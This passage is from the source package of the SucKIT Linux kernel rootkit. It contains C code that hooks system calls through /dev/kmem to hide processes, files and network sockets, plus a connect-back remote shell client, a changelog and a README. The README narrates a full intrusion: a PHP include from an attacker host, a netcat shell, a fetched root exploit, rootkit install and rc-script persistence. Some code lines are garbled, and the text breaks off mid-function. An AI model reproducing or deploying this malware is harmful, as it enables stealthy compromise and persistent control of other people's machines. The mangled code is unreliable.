write(ss, buf, 5);

}

winsize = 0;

}

if (select(ss+1, &fds, NULL, NULL, NULL) < 0) { if (errno == EINTR) continue; break;

}

if (winsize) continue;

if (FD_ISSET(0, &fds)) { int count = read(0, buf, BUF);

// int i;

if (count <= 0) break; if (memchr(buf, ECHAR, count)) {

printf("Interrupted!\n");

break;

}

if (write(ss, buf, count) <= 0) break; }

if (FD_ISSET(ss, &fds)) { int count = read(ss, buf, BUF); if (count <= 0) break; if (write(0, buf, count) <= 0) break; }

}

close(sock);

tcsetattr(0, TCSAFLUSH, &old); printf("\nConnection closed.\n");

return 0;

}

<‑‑> ./client/client.c

<++> ./doc/LICENSE

* * * * * * * * * * * * * * * * * * * *

* SUCKIT v1.1c ‑ New, singing, dancing, world‑smashing rewtkit * * (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *

* * * * * * * * * * * * * * * * * * * *

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

<‑‑> ./doc/LICENSE

<++> ./doc/CHANGES

Development history:

Version 1.1c:

‑ disabled flow control in client, escape char changed to ^K Version 1.1b:

‑ fixed GFP_KERNEL bug with segfaulting on 2.4.0 ‑ 2.4.5 kernels Version 1.1a:

‑ makefile, added SIGWINCH support + autentification of remote user (but still in plain text ;( )

Version 1.0d:

‑ added connect‑back bindshell, with TTY/PTY support ! filtering out invisible pids, connections and philes ;) Version 1.0c:

‑ only one thing we're doing at this time, is to change one letter in output of uname()

Version 1.0b:

‑ first working version of new code, relocations made directly from .o, as far i know, everything works on 2.4.x smoothly, just add some good old features...

Added (read: stolen) linus' string.c and vsprintf.c in order to make coding more user‑phriendly ;)

Version 1.0a:

‑ devik@cdi.cz discovered that `sidt` works on linux ... so we can play a bit with int 0x80 ;)) kmalloc search engine was written by devik too, many thanks to him!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Version 0.3d:

‑ I got 2.4.10 kernel and things are _totally_ fucked up, nothing didn't work, kmalloc search engine was gone and so on .. So i decided to rewrite code from scratch, divide it to more files.

Version 0.3c: (PUBLIC)

‑ added getdents64 (interesting for 2.4.x kernel, but compatibility still not guaranted)

Version 0.3b:

‑ added `scp` sniffing

‑ no sniffing of hidden users anymore!

Version 0.3: (PUBLIC)

‑ Punk. Fool. We don't need LKM support anymore !!! We're able to heuristically abtain (with 80% accuracy ;) sys_call_table[] and kmalloc() directly from /dev/kmem !!! third release under GNU/GPL

Version 0.23a:

‑ completely rewritten new_getdents(), fixed major bugs, but still sometimes crashes unpredictabely ;‑( Version 0.22b:

‑ rcscript is executed as invisible by nature ;) Version 0.22a:

‑ Fixed "unhide all" bug, feature works now

Version 0.21a:

‑ added ssh2d support

Version 0.2a:

‑ fixed ugly bug in that suckit forgets to hide some invisible pids (on high loads) without reason !! (thx. to root@buggy.frogspace.net ;)

Version 0.2: (PUBLIC)

‑ Cleanup (the suckit.h thing, etc),

l33t bash skripts (flares, mk, inst), second (BUGFIX) release under GNU/GPL

Version 0.13a:

‑ Filters out the syslogd's lines of us while we logginin' in/out, WE'RE TOTALLY INVISIBLE NOW!

Version 0.12a:

‑ Finally! We're able to hide our TCP/UDP/RAW sockets in netstat! Everything done usin' stealth techniqe for /proc/net/tcp|udp|raw Version 0.11b:

‑ We hide the fact that someone sets PROMISC flag on some eth iface (thru ioctl)

Version 0.11a:

‑ Fixed the weird bug in check_names() so we're able to stay in kernel for more than 2 hours without consuming a lotta of memory and rebooting (thx. to root@host2.dns4ua.com) Version 0.1: (PUBLIC):

‑ General code cleanup, released first version under GNU/GPL Version 0.08a:

‑ Added suid=0 fakeshell thing, because some hosts don't like uid=0 users remotely logged in ;)

Version 0.07c:

‑ Fixed bug with kernel's symbol versions (strncmp ownz! ;) while we importin' symbols

Version 0.07b:

‑ Added the `config` crap ;)

Version 0.07a:

‑ Everything joined into one executable ;) Compilation divided into three parts:

.C ‑> .S, .S ‑> our_parses ‑> .s, .s ‑> binary Version 0.06a:

‑ Fixed major bugs with small buffers, added PID hidding and our PID tracking system, leaved from using 'task_struct *current' and other kernel structures, so the code can work on any kernel of 2.2.x without recompilation !

Version 0.05a:

‑ solved our problem with 'who', we forbid any write to utmp/wtmp/lastlog containing our username ;)

Version 0.04a:

‑ "backdoor" over fake /etc/passwd for remote services (telnet, rsh, ssh), but we are still visible in `who` ;( Version 0.03a:

‑ First relocatable code, we still do only one thing (hiding files), divided into two parts object module (normal, vanilla kernel‑LKM ;) and Silvio's kinsmod (which places it to kernel space thru /dev/kmem) Version 0.02b:

‑ Finally! We're able to allocate kernel memory thru kmalloc() ! But the code does nothing ;(

Version 0.02a:

‑ First executable code, we're overwriting kernel‑code at static address.

Fixed one major bug:

[rewt@pikatchu ~]# ./suckit

bash: ./suckit: No such file or directory

Version 0.01a:

‑ uhm, no real code, just only concept in my head

<‑‑> ./doc/CHANGES

<++> ./doc/README

suc‑kit ‑ Super User Control Kit, (c)ode by sd@sf.cz & devik@cdi.cz, 2001

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Works on: 2.2.x, 2.4.x linux kernels (2.0.x should too, but not tested)

SucKIT

~~~~~~

‑ Code by sd <sd@sf.cz>, sd@ircnet

‑ kmalloc() & idt/int 0x80 crap by devik <devik@cdi.cz> ‑ Thanks to:

Silvio Cesare for his excellent articles halflife (for opening my eyes to look around LKM's) QuantumG for example in STAOG

Description

~~~~~~~~~~~

Suckit (stands for stupid 'super user control kit') is another of thousands linux rootkits, but it's unique in some ways:

Features:

‑ Full password protected remote access connect‑back shell initiated by spoofed packet (bypassing most of firewall configurations)

‑ Full tty/pty, remote enviroment export + setting up win size while client gets SIGWINCH

‑ It can work totally alone (without libs, gcc ...) using only syscalls (this applies only to server side, client is running on your machine, so we can use libc ;)

‑ It can hide processes, files and connections (f00led: fuser, lsof, netstat, ps & top)

‑ No changes in filesystem

Disadvantages:

‑ Non‑portable, i386‑linux specific

‑ Buggy as hell ;)

Instead of long explaining how to use it, small example is better:

An real example of complete attack (thru PHP bug):

[attacker@badass.cz ~/sk10]$ ./sk c

* * * * * * * * * * * * * * * * * * * *

* SUCKIT v1.1c ‑ New, singing, dancing, world‑smashing rewtkit * * (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *

* * * * * * * * * * * * * * * * * * * *

Usage:

./sk [command] [arg]

Commands:

u uninstall

t test

i <pid> make pid invisible

v <pid> make pid visible (0 = all)

f [0/1] toggle file hiding

p [0/1] toggle proc hiding

configuration:

c <hidestr> <password> <home>

invoking without args will install rewtkit into memory [attacker@badass.cz ~/sk10]$ ./sk c l33t bublifuck /usr/share/man/man4/l33t

* * * * * * * * * * * * * * * * * * * *

* SUCKIT v1.1c ‑ New, singing, dancing, world‑smashing rewtkit * * (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *

* * * * * * * * * * * * * * * * * * * *

Configuring ./sk:

OK!

[attacker@badass.cz ~/sk10]$ telnet lamehost.com 80

Trying 192.160.0.2...

Connected to lamehost.com.

Escape character is '^]'.

GET /bighole.php3?inc=http://badass.cz/egg.php3 HTTP/1.1

Host: lamehost.com

HTTP/1.1 200 OK

Date: Thu, 18 Oct 2001 04:04:52 GMT

Server: Apache/1.3.14 (Unix) (Red‑Hat/Linux) PHP/4.0.4pl1 Last‑Modified: Fri, 28 Sep 2001 04:42:34 GMT

ETag: "31c6‑c2‑3bb3ffba"

Content‑Type: text/html

IT WERKS! Shell at port 8193Connection closed by foreign host. [attacker@badass.cz ~/sk10]$ nc ‑v lamehost.com 8193 lamehost.com [192.168.0.2] 8193 (?) open

w

12:08am up 1:20, 3 users, load average: 0.05, 0.06, 0.08 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 ‑ 11:58pm 39:03 3.15s 2.95s bash cd /tmp

lynx ‑dump http://badass.cz/s.c > s.c

gcc s.c ‑o super‑duper‑hacker‑user‑rooter ./super‑duper‑hacker‑user‑rooter

id

uid=0(root) gid=0(root) groups=0(root)

cd /usr/local/man/man4

mkdir .l33t

cd .l33t

lynx ‑dump http://badass.cz/~attacker/sk10/sk > sk

chmod +s+u sk

./sk

* * * * * * * * * * * * * * * * * * * *

* SUCKIT v1.1c ‑ New, singing, dancing, world‑smashing rewtkit * * (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *

* * * * * * * * * * * * * * * * * * * *

Getting kernel stuff...OK

page_offset : 0xc0000000

sys_call_table[] : 0xc01e5920

int80h dispatch : 0xc0106cef

kmalloc() : 0xc0127a20

GFP_KERNEL : 0x000001f0

punk_addr : 0xc010b8e0

punk_size : 0x0000001c (28 bytes)

our kmem region : 0xc0f94000

size of our kmem : 0x00003af2 (15090 bytes)

new_call_table : 0xc0f968f2

# of relocs : 0x0000015d (349)

# of syscalls : 0x00000012 (18)

And nooooow....Shit happens!! ‑> WE'RE IN <‑

Starting backdoor daemon...OK, pid = 2101

exit

exit

[attacker@badass.cz ~/sk10]$ su

Password:

[root@badass.cz ~/sk10]# ./cli lamehost.com

Looking up badass.cz...OK

Looking up lamehost.com...OK

Trying 192.168.0.2.....

Challenging lamehost.com

Connected to lamehost.com

Escape character is '^K'

Password:

* * * * * * * * * * * * * * * * * * * *

* SUCKIT v1.1c ‑ New, singing, dancing, world‑smashing rewtkit * * (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *

* * * * * * * * * * * * * * * * * * * *

[rewt@lamehost.com ~]# ps uwxa | grep ps

[rewt@lamehost.com ~]# cp sk /etc/rc.d/rc3.d/S99l33t [rewt@lamehost.com ~]# exit

Connection closed.

[root@badass.cz ~/sk10]#

...and so on...

‑‑ sd@sf.cz (sd@ircnet)

<‑‑> ./doc/README

<++> ./doc/TODO

‑ some RSA for communication

‑ connection‑less TCP for remote shell

‑ sniff everything & everywhere (tty's mostly ;)

‑ some kinda of spin‑locking on SMPs

<‑‑> ./doc/TODO

<++> ./include/suckit.h

/* $Id: suckit.h, core suckit defs */

#ifndef SUCKIT_H

#define SUCKIT_H

#ifndef __NR_getdents64

#define __NR_getdents64 220

#endif

#define OUR_SIGN OURSIGN

#define RC_FILE RCFILE

#define DEFAULT_HOME "/usr/share/man/.sd"

#define DEFAULT_HIDESTR "sk10"

#define DEFAULT_PASSWD "bublifuck"

/* cmd stuff */

#define CMD_TST 1 /* test */

#define CMD_INV 2 /* make pid invisible */

#define CMD_VIS 3 /* make pid visible */

#define CMD_RMV 4 /* remove from memory */

#define CMD_GFL 5 /* get flags */

#define CMD_SFL 6 /* set flags */

#define CMD_BDR 7

#define SYS_COUNT 256

#define CMD_FLAG_HP 1

#define CMD_FLAG_HF 2

/* crappy stuff */

#define BANNER \

"* * * * * * * * * * * * * * * * * * * *n" \

"* SUCKIT " SUCKIT_VERSION " ‑ New, singing, dancing, world‑smashing" \ " rewtkit *\n" \

"* (c)oded by sd@sf.cz & devik@cdi.cz, 2001 *\n" \

"* * * * * * * * * * * * * * * * * * * *n"

#define BAD1 "/proc/net/tcp"

#define BAD2 "/proc/net/udp"

#define BAD3 "/proc/net/raw"

/* kernel related stuff */

#define SYSCALL_INTERRUPT 0x80

#define KMEM_FILE "/dev/kmem"

#define MAX_SYMS 4096

#define MAX_PID 512

#define PUNK 109 /* victim syscall ‑ old_uname */

/* for 2.4.x */

#define KMEM_FLAGS (0x20 + 0x10 + 0x40 + 0x80 + 0x100)

/* typedef's */

#define ulong unsigned long

#define uint unsigned int

#define ushort unsigned short

#define uchar unsigned char

struct kernel_sym {

ulong value;

uchar name[60];

};

struct new_call {

uint nr;

void *handler;

void **old_handler;

} __attribute__ ((packed));

/* this struct __MUST__ correspond with c0r3 header stuff in

utils/parse.c ! */

struct obj_struc {

ulong obj_len;

ulong bss_len;

void *punk;

uint *punk_size;

struct new_call *new_sct;

ulong *sys_call_table;

/* these values will be passed to image */

ulong page_offset;

ulong syscall_dispatch;

ulong *old_call_table;

} __attribute__ ((packed));

/* struct for communication between kernel <=> userspace */

struct cmd_struc {

ulong id;

ulong cmd;

ulong num;

char buf[1024];

} __attribute__ ((packed));

struct kma_struc {

ulong (*kmalloc) (uint, int);

int size;

int flags;

ulong mem;

} __attribute__ ((packed));

struct mmap_arg_struct {

unsigned long addr;

unsigned long len;

unsigned long prot;

unsigned long flags;

unsigned long fd;

unsigned long offset;

unsigned long lock;

};

struct de64 {

ulong long d_ino;

ulong long d_off;

unsigned short d_reclen;

uchar d_type;

uchar d_name[256];

};

struct de {

long d_ino;

uint d_off;

ushort d_reclen;

char d_name[256];

};

struct net_struc {

int fd;

int len;

int pos;

int data_len;

char dat[1];

};

struct pid_struc {

ushort pid;

struct net_struc *net;

uchar hidden;

} __attribute__ ((packed));

struct config_struc {

uchar magic[8];

uchar hs[32];

uchar pwd[32];

uchar home[64];

};

#define mmap_arg ((struct mmap_arg_struct *) \ (page_offset ‑ sizeof(struct mmap_arg_struct)) ) #define MM_LOCK 0x1023AFAF

#define PAGE_SIZE 4096

#define PAGE_RW (PROT_READ | PROT_WRITE)

#ifndef O_RDONLY

#define O_RDONLY 0

#endif

#ifndef O_WRONLY

#define O_WRONLY 1

#endif

#ifndef O_RWDR

#define O_RDWR 2

#endif

/* debug stuff */

#ifdef SK_DEBUG

#define skd(fmt,args...) printf(fmt, args)

#else

#define skd(fmt,args...) while (0) {}

#endif

#endif

<‑‑> ./include/suckit.h

<++> ./include/asm.h

/* $Id: asm.h, assembly related stuff */

#ifndef ASM_H

#define ASM_H

struct idtr {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed));

struct idt {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

} __attribute__ ((packed));

#endif

<‑‑> ./include/asm.h

<++> ./include/ip.h

/* $Id: ip.h, raw TCP/IP stuff */

struct rawdata {

ulong id;

ulong ip;

ushort port;

};

struct ippkt {

struct ip ip;

struct tcphdr tcp;

char something[12];

char data[1024];

};

struct pseudohdr {

u_int32_t saddr;

u_int32_t daddr;

u_int8_t zero;

u_int8_t protocol;

u_int16_t lenght;

};

u_short in_chksum(u_short *ptr, int nbytes)

{

register long sum; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

/*

* Our algorithm is simple, using a 32‑bit accumulator (sum), * we add sequential 16‑bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */

sum = 0;

while (nbytes > 1)

{

sum += *ptr++;

nbytes ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nbytes == 1)

{

oddbyte = 0; /* make sure top half is zero */

*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */

sum += oddbyte;

}

/*

* Add back carry outs from top 16 bits to low 16 bits. */

sum = (sum >> 16) + (sum & 0xffff); /* add high‑16 to low‑16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones‑complement, then truncate to 16 bits */

return((u_short) answer);

}

<‑‑> ./include/ip.h

<++> ./include/str.h

/*

* linux/lib/string.c

*

* Copyright (C) 1991, 1992 Linus Torvalds

*/

#ifndef STRING_H

#define STRING_H

#ifndef NULL

#define NULL (void *) 0

#endif

extern char * ___strtok;

extern char * strpbrk(const char *,const char *);

extern char * strtok(char *,const char *);

extern char * strsep(char **,const char *);

extern unsigned strspn(const char *,const char *);

extern char * strcpy(char *,const char *);

extern char * strncpy(char *,const char *, unsigned);

extern char * strcat(char *, const char *);

extern char * strncat(char *, const char *, unsigned);

extern int strcmp(const char *,const char *);

extern int strncmp(const char *,const char *,unsigned);

extern int strnicmp(const char *, const char *, unsigned); extern char * strchr(const char *,int);

extern char * strrchr(const char *,int);

extern char * strstr(const char *,const char *);

extern unsigned strlen(const char *);

extern unsigned strnlen(const char *,unsigned);

extern void * memset(void *,int,unsigned);

extern void * memcpy(void *,const void *,unsigned);

extern void * memmove(void *,const void *,unsigned);

extern void * memscan(void *,int,unsigned);

extern int memcmp(const void *,const void *,unsigned);

extern void * memchr(const void *,int,unsigned);

#endif

<‑‑> ./include/str.h

<++> ./src/main.c

/* $Id: main.c, replacement of libc's main() parent */

#ifndef MAIN_C

#define MAIN_C

#include <stdarg.h>

#include <linux/unistd.h>

#define MAX_ARGS 255

/* uhh, nice replacement of libc ;) */

int _start(char *argv, ...)

{

char *arg_ptrs[MAX_ARGS];

char *p = argv;

int i = 0;

va_list ap;

va_start(ap, argv);

do {

arg_ptrs[i] = p;

p = va_arg(ap, char *);

i++;

if (i == MAX_ARGS) break;

} while (p);

_exit(main(i, arg_ptrs));

}

#endif

<‑‑> ./src/main.c

<++> ./src/kernel.c

/* $Id: hook.c, kernel related stuff (read, write and so on) */

#ifndef KERNEL_C

#define KERNEL_C

/* stuff directly related with kernel */

#include "suckit.h"

#include "string.c"

#include "io.c"

/* simple inlines to r/w stuff from/to kernel memory */

/* read data from kmem */

static inline int rkm(int fd, int offset, void *buf, int size) {

if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size;

}

/* write data to kmem */

static inline int wkm(int fd, int offset, void *buf, int size) {

if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size;

}

/* read int from kmem */

static inline int rkml(int fd, int offset, ulong *buf)

{

return rkm(fd, offset, buf, sizeof(ulong));

}

/* write int to kmem */

static inline int wkml(int fd, int offset, ulong buf)

{

return wkm(fd, offset, &buf, sizeof(ulong));

}

/* relocate given image */

int img_reloc(void *img, ulong *reloc_tab, ulong reloc)

{

int count = 0;

/* relocate image */

while (*reloc_tab != 0xFFFFFFFF) { skd("Relocating %x at %x", * (ulong *) (((ulong) (img)) + *reloc_tab), (((ulong) (img)) + *reloc_tab)); * (ulong *) (((ulong) (img)) + *reloc_tab) += reloc; skd(" result=%x\n",

* (ulong *) (((ulong) (img)) + *reloc_tab)); reloc_tab++;

count++;

}

return count;

}

#endif

<‑‑> ./src/kernel.c

<++> ./src/string.c

/* $Id: string.c, modified linus' vsprintf.c, thanx to him, whatever */

#ifndef STRING_C

#define STRING_C

#include "str.h"

char * ___strtok;

int strnicmp(const char *s1, const char *s2, unsigned len)

{

unsigned char c1, c2;

c1 = 0; c2 = 0;

if (len) {

do {

c1 = *s1; c2 = *s2; s1++; s2++;

if (!c1)

break;

if (!c2)

break;

if (c1 == c2)

continue;

c1 &= c1 & 0xDF; c2 &= c2 & 0xDF; if (c1 != c2)

break;

} while (‑‑len);

}

return (int)c1 ‑ (int)c2;

}

inline char * strcpy(char * dest,const char *src)

{

char *tmp = dest;

while ((*dest++ = *src++) != '\0');

return tmp;

}

inline char * strncpy(char * dest,const char *src,unsigned count) {

char *tmp = dest;

while (count‑‑ && (*dest++ = *src++) != '\0');

return tmp;

}

inline char * strcat(char * dest, const char * src)

{

char *tmp = dest;

while (*dest)

dest++;

while ((*dest++ = *src++) != '\0');

return tmp;

}

inline char * strncat(char *dest, const char *src, unsigned count) {

char *tmp = dest;

if (count) {

while (*dest)

dest++;

while ((*dest++ = *src++)) { if (‑‑count == 0) {

*dest = '\0';

break;

}

}

}

return tmp;

}

inline int strcmp(const char * cs,const char * ct)

{

register signed char __res;

while (1) {

if ((__res = *cs ‑ *ct++) != 0 || !*cs++) break;

}

return __res;

}

inline int strncmp(const char * cs,const char * ct,unsigned count) {

register signed char __res = 0;

while (count) {

if ((__res = *cs ‑ *ct++) != 0 || !*cs++) break;

count‑‑;

}

return __res;

}

char * strchr(const char * s, int c)

{

for(; *s != (char) c; ++s)

if (*s == '\0')

return NULL;

return (char *) s;

}

char * strrchr(const char * s, int c)

{

const char *p = s + strlen(s);

do {

if (*p == (char)c)

return (char *)p;

} while (‑‑p >= s);

return NULL;

}

unsigned strlen(const char * s)

{

const char *sc;

for (sc = s; *sc != '\0'; ++sc)

/* nothing */;

return sc ‑ s;

}

unsigned strnlen(const char * s, unsigned count)

{

const char *sc;

for (sc = s; count‑‑ && *sc != '\0'; ++sc) /* nothing */;

return sc ‑ s;

}

unsigned strspn(const char *s, const char *accept)

{

const char *p;

const char *a;

unsigned count = 0;

for (p = s; *p != '\0'; ++p) {

for (a = accept; *a != '\0'; ++a) { if (*p == *a)

break;

}

if (*a == '\0')

return count;

++count;

}

return count;

}

char * strpbrk(const char * cs, const char * ct)

{

const char *sc1,*sc2;

for( sc1 = cs; *sc1 != '\0'; ++sc1) { for( sc2 = ct; *sc2 != '\0'; ++sc2) { if (*sc1 == *sc2)

return (char *) sc1;

}

}

return NULL;

}

char * strtok(char * s,const char * ct)

{

char *sbegin, *send;

sbegin = s ? s : ___strtok;

if (!sbegin) {

return NULL;

}

sbegin += strspn(sbegin,ct);

if (*sbegin == '\0') {

___strtok = NULL;

return( NULL );

}

send = strpbrk( sbegin, ct);

if (send && *send != '\0')

*send++ = '\0';

___strtok = send;

return (sbegin);

}

char * strsep(char **s, const char *ct)

{

char *sbegin = *s, *end;

if (sbegin == NULL)

return NULL;

end = strpbrk(sbegin, ct);

if (end)

*end++ = '\0';

*s = end;

return sbegin;

}

inline void * memset(void * s,int c,unsigned count)

{

char *xs = (char *) s;

while (count‑‑)

*xs++ = c;

return s;

}

inline void bzero(void *s, unsigned count)

{

memset(s, 0, count);

}

char * bcopy(const char * src, char * dest, int count)

{

char *tmp = dest;

while (count‑‑)

*tmp++ = *src++;

return dest;

}

inline void * memcpy(void * dest,const void *src,unsigned count) {

char *tmp = (char *) dest, *s = (char *) src;

while (count‑‑)

*tmp++ = *s++;

return dest;

}

inline void * memmove(void * dest,const void *src,unsigned count) {

char *tmp, *s;

if (dest <= src) {

tmp = (char *) dest;

s = (char *) src;

while (count‑‑)

*tmp++ = *s++;

}

else {

tmp = (char *) dest + count;

s = (char *) src + count; while (count‑‑)

*‑‑tmp = *‑‑s;

}

return dest;

}

int memcmp(const void * cs,const void * ct,unsigned count)

{

const unsigned char *su1, *su2;

signed char res = 0;

for( su1 = cs, su2 = ct; 0 < count; ++su1, ++su2, count‑‑) if ((res = *su1 ‑ *su2) != 0) break;

return res;

}

void * memscan(void * addr, int c, unsigned size)

{

unsigned char * p = (unsigned char *) addr;

while (size) {

if (*p == c)

return (void *) p; p++;

size‑‑;

}

return (void *) p;

}

char * strstr(const char * s1,const char * s2)

{

int l1, l2;

l2 = strlen(s2);

if (!l2)

return (char *) s1;

l1 = strlen(s1);

while (l1 >= l2) {

l1‑‑;

if (!memcmp(s1,s2,l2)) return (char *) s1; s1++;

}

return NULL;

}

void * memmem(char *s1, int l1, char *s2, int l2)

{

if (!l2) return s1;

while (l1 >= l2) {

l1‑‑;

if (!memcmp(s1,s2,l2)) return s1;

s1++;

}

return NULL;

}

void *memchr(const void *s, int c, unsigned n)

{

const unsigned char *p = s;

while (n‑‑ != 0) {

if ((unsigned char)c == *p++) { return (void *)(p‑1); }

}

return NULL;

}

#endif

<‑‑> ./src/string.c

<++> ./src/core.c

/* $Id: core.c, mainly our syscalls */

#ifndef CORE_C

#define CORE_C

#include <stdarg.h>

#include <linux/unistd.h>

#include <asm/ptrace.h>

#include <asm/mman.h>

#include <asm/errno.h>

#include <asm/stat.h>

#include <linux/if.h>

#include "suckit.h"

#include "string.c"

#include "vsprintf.c"

#include "io.c"

/* ehrm, ,,exports'' ;)) */

extern ulong page_offset;

extern ulong syscall_dispatch;

extern ulong old_call_table;

/* set this to 1 if u wanna to debug something, don't forget

to change addr of printk (cat /proc/ksyms | grep printk) */

#if 0

int (*printk) (char *fmt, ...) = (void *) 0xc0113710;

#define crd(fmt,args...) printk(__FUNCTION__ "():" fmt "\n", args) #else

#define crd(fmt,args...) while (0) {}

#endif

#define mmap_arg ((struct mmap_arg_struct *) \ (page_offset ‑ sizeof(struct mmap_arg_struct)) )

/* new_XXX & old_XXX pair for some syscall */

#define ds(type,name,args...) type new_##name(args); \

type (*old_##name)(args)

/* only old_XXX def in order to import some syscall) */

#define is(type,name,args...) type (*old_##name)(args)

/* syscall defs */

ds(int, olduname, char *);

ds(int, fork, struct pt_regs);

ds(int, clone, struct pt_regs);

ds(int, open, char *, int, int);

ds(int, close, int);

ds(int, read, int, char *, uint);

ds(int, kill, int, int);

ds(int, getdents, uint, struct de *, int count);

ds(int, getdents64, uint, struct de64 *, int count); ds(int, ioctl, uint, uint, ulong);

/* import various syscall to avoid using int 0x80 from syscall handlers */

is(int, stat, char *, struct stat *);

is(int, fstat, int, struct stat *);

is(void *, mmap, struct mmap_arg_struct *);

is(int, munmap, ulong, uint);

is(int, getpid, void);

is(int, readdir, uint, struct de *, uint);

is(int, readlink, char *, char *, uint);

is(int, lseek, int, int, int);

/* syscall replacement table (requiered by hook.c) */

#define repsc(x) {__NR_##x, (void *) new_##x, (void **) &old_##x}, #define impsc(x) {__NR_##x, (void *) NULL, (void **) &old_##x}, struct new_call new_sct[] = {

repsc(olduname)

repsc(fork)

repsc(clone)

repsc(open)

repsc(close)

repsc(read)

repsc(kill)

repsc(getdents)

repsc(getdents64)

repsc(ioctl)

impsc(stat)

impsc(fstat)

impsc(mmap)

impsc(munmap)

impsc(getpid)

impsc(readdir)

impsc(readlink)

impsc(lseek)

{0}

};

/* our fake sys_call_table[] ;) */

ulong sys_call_table[SYS_COUNT];

/* our table of hidden pid's */

struct pid_struc pid_tab[MAX_PID];

/* "bad" files ;) */

int bdev = ‑1, bad1 = ‑1, bad2 = ‑1, bad3 = ‑1;

/* our flags */

ulong our_flags = CMD_FLAG_HP | CMD_FLAG_HF;

int backdoor_pid = 0;

struct config_struc cfg = {"CFGMAGIC", ".sd", "", ""};

#define HIDE_FILES (our_flags & CMD_FLAG_HF)

#define HIDE_PROCS (our_flags & CMD_FLAG_HP)

/* replacement of olduname, allocates some memory in kernel space */

int punk(struct kma_struc *k)

{

k‑>mem = k‑>kmalloc(k‑>size, k‑>flags);

return 0;

}

/***************************** helper fn's ********************* */

uint my_atoi(char *n)

{

register uint ret = 0;

while ((((*n) < '0') || ((*n) > '9')) && (*n)) n++;

while ((*n) >= '0' && (*n) <= '9')

ret = ret * 10 + (*n++) ‑ '0';

return ret;

}

/* u‑alloc, 'u' stands for 'ugly' ;) */

void *ualloc(ulong size)

{

void *ret;

struct mmap_arg_struct msave;

while (mmap_arg‑>lock == MM_LOCK);

memcpy(&msave, mmap_arg, sizeof(struct mmap_arg_struct)); mmap_arg‑>lock = MM_LOCK;

mmap_arg‑>addr = 0;

mmap_arg‑>len = (PAGE_SIZE + size ‑ 1) & ~PAGE_SIZE; mmap_arg‑>prot = PAGE_RW;

mmap_arg‑>flags = MAP_PRIVATE | MAP_ANONYMOUS; mmap_arg‑>fd = 0;

mmap_arg‑>offset = 0;

ret = old_mmap(mmap_arg);

memcpy(mmap_arg, &msave, sizeof(struct mmap_arg_struct)); if ((ulong) ret > 0xffff0000)

return NULL;

return ret;

}

static inline void ufree(void *ptr, ulong size)

{

if (ptr) {

old_munmap((ulong) ptr, (PAGE_SIZE + size ‑ 1) & ~PAGE_SIZE); }

}

/* basic fn's */

static inline struct pid_struc *find_pid(int pid)

{

int i;

for (i = 0; i < MAX_PID; i++) {

if (pid_tab[i].pid == pid) return &pid_tab[i];

}

return NULL;

}

struct pid_struc *add_pid(int pid)

{

struct pid_struc *p = find_pid(pid);

int i;

if (p) {

return p;

} else {

for (i = 0; i < MAX_PID; i++) { if (!pid_tab[i].pid) {

bzero((char *) &pid_tab[i],

sizeof(struct pid_struc));

pid_tab[i].pid = pid;

return &pid_tab[i];

}

}

}

return NULL;

}

static inline struct pid_struc *hide_pid(int pid)

{

struct pid_struc *p = add_pid(pid);

if (p) {

p‑>hidden = 1;

}

crd("%d = 0x%x", pid, p);

return p;

}

struct pid_struc *del_pid(int pid)

{

struct pid_struc *p = find_pid(pid);

if (p) p‑>pid = 0;

return p;

}

int unhide_pid(int pid)

{

int i;

if (pid == 0) {

for (i = 0; i < MAX_PID; i++) { del_pid(pid_tab[i].pid); }

return 1;

}

return (del_pid(pid) != NULL);

}

void sync_pid_tab(void)

{

int i;

/* remove unused entries in order to avoid to become full */

for (i = 0; i < MAX_PID; i++) {

if ((pid_tab[i].pid) && (old_kill(pid_tab[i].pid, 0) == ‑ESRCH)) { bzero((char *) &pid_tab[i],

sizeof(struct pid_struc));

}

}

}

static inline struct pid_struc *curr_pid(void)

{

return find_pid(old_getpid());

}

/* this creates table ("cache") of sockets owned by invisible processes */

int create_net_tab(int *tab, int max, struct de *de, char *buf) {

int i;

int fd;

int cnt = 0;

crd("tab=0x%x, max=%d, de=0x%x, buf=0x%x", tab, max, de, buf); for (i = 0; i < MAX_PID; i++) {

if (pid_tab[i].pid && pid_tab[i].hidden) { char *zptr; zptr = buf +

sprintf(buf, "/proc/%d/fd", pid_tab[i].pid);

crd("buf=%s (0x%x), zptr=0x%x", buf, buf, zptr); fd = old_open(buf, O_RDONLY, 0); if (fd < 0)

continue;

*zptr++ = '/'; while (old_readdir(fd, de, sizeof(struct de)) == 1)

{

strcpy(zptr, de‑>d_name);

if (old_readlink(buf, &buf[64], 64) > 0) {

if (!strncmp

buf[64], "socket:[", 8)) {

tab[cnt++] =

my_atoi(&buf[64]);

if (cnt >= max) {

close(fd);

return cnt;

if strncmp .. */

} if readlink .. */

} /* if readdir */

old_close(fd);

} /* if hidden */

} /* for (i < pid_count ... */

return cnt;

}

static inline int invisible_socket(int nr, int *tab, int max) {

int i;

for (i = 0; i < max; i++) {

if (tab[i] == nr) return 1;

}

return 0;

}

/* ehrm. ehrm. 8 gotos at one page of code ? uglyneees ;)

this is code strips (i hope ;) "bad" things from netstat, etc. */

